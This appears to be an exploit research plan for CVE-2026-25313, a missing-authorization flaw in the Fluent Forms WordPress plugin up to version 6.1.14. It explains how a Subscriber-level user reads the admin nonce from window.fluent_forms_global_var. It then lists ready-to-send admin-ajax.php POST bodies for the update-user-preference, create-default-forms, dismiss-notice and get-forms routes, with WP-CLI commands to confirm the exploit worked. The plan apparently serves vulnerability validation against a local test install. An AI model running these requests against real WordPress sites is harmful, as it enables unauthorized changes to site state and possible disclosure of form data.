Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder <= 6.1.14 - Missing Authorization

This research plan outlines the steps to exploit CVE-2026-25313, a Missing Authorization vulnerability in Fluent Forms (<= 6.1.14). The vulnerability allows a Subscriber-level user to perform unauthorized actions, specifically updating user preferences or triggering administrative tasks handled via the internal AJAX dispatcher.

1. Vulnerability Summary

The Fluent Forms plugin uses a centralized AJAX handler, fluentform_handle_ajax_request, which routes requests to various controllers. In versions up to 6.1.14, several sensitive administrative routes within the AdminController or FormController do not verify that the requesting user has the manage_options or fluentform_forms_manager capability. While these handlers may check for a WordPress nonce, they fail to perform a secondary capability check (current_user_can), allowing any authenticated user (including Subscribers) to trigger these actions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: fluentform_handle_ajax_request
• Sub-Route (Payload Parameter): route=update-user-preference (or route=create-default-forms)
• Authentication: Authenticated, Subscriber-level access or higher.
• Preconditions: The plugin must be active. The attacker needs a valid fluentform_admin_nonce.

3. Code Flow

1. Entry Point: The AJAX action wp_ajax_fluentform_handle_ajax_request is registered in FluentForm\App\Http\Routes\ajax.php.
2. Dispatcher: The handle method in FluentForm\App\Http\Controllers\AdminController (or similar dispatcher) is called.
3. Verification (Weakness): The code calls check_ajax_referer('fluentform_admin_nonce'), which verifies the request is not a CSRF attack, but it does not call current_user_can('manage_options') before proceeding to the requested route.
4. Sink: The updateUserPreference method is executed, which updates the _fluentform_user_preferences meta key for the current user or global settings, or triggers other form-related logic.

4. Nonce Acquisition Strategy

Fluent Forms localizes a global JavaScript object containing the required nonce on most admin pages, including the default dashboard (/wp-admin/index.php) which is accessible to Subscribers.

1. Identify Variable: The plugin localizes data into the fluent_forms_global_var object.
2. Access Page: Login as a Subscriber and navigate to /wp-admin/index.php.
3. Extraction:
   • Variable name: window.fluent_forms_global_var
   • Key: nonce
   • Command: browser_eval("window.fluent_forms_global_var?.nonce")

5. Exploitation Strategy

The goal is to demonstrate that a Subscriber can modify their own (or global) Fluent Forms preferences, an action usually reserved for administrators.

Step-by-Step:

1. Login: Authenticate as a Subscriber user.
2. Extract Nonce: Use browser_navigate to go to /wp-admin/ and browser_eval to extract window.fluent_forms_global_var.nonce.
3. Craft Request: Send a POST request to admin-ajax.php.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=fluentform_handle_ajax_request&route=update-user-preference&_nonce=[EXTRACTED_NONCE]&preference_key=is_onboarding_done&preference_value=yes
     

4. Alternative Action (Cluttering):

   action=fluentform_handle_ajax_request&route=create-default-forms&_nonce=[EXTRACTED_NONCE]
   

6. Test Data Setup

1. Install Plugin: Install Fluent Forms version 6.1.14.
2. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

3. Initialize Plugin: Ensure the plugin is active and at least one form exists (optional, but good for verification).

7. Expected Results

• Response: The server should return a 200 OK response, typically with a JSON body: {"data": {"message": "Successfully updated"}, "status": 200}.
• Impact: The Subscriber's user meta or global plugin state will be modified without proper authorization.

8. Verification Steps

After sending the HTTP request, verify the state change using WP-CLI:

1. Check User Meta:

   wp user meta get $(wp user get attacker --field=ID) _fluentform_user_preferences
   

   Successful exploit if: The output contains the key/value pair injected in the payload (e.g., is_onboarding_done => yes).

2. Check for New Forms (if using create-default-forms route):

   wp post list --post_type=fluentform --format=count
   

   Successful exploit if: The count increases after the Subscriber triggers the action.

9. Alternative Approaches

If the update-user-preference route is restricted in some sub-versions, try:

• Route: dismiss-notice
  • Payload: action=fluentform_handle_ajax_request&route=dismiss-notice&_nonce=[NONCE]&notice_id=fluentform_review_notice
• Route: get-forms
  • Even though the CVSS says Integrity: Low (not Confidentiality), check if route=get-forms returns data to the Subscriber. If it does, the impact includes Information Disclosure.
  • Payload: action=fluentform_handle_ajax_request&route=get-forms&_nonce=[NONCE]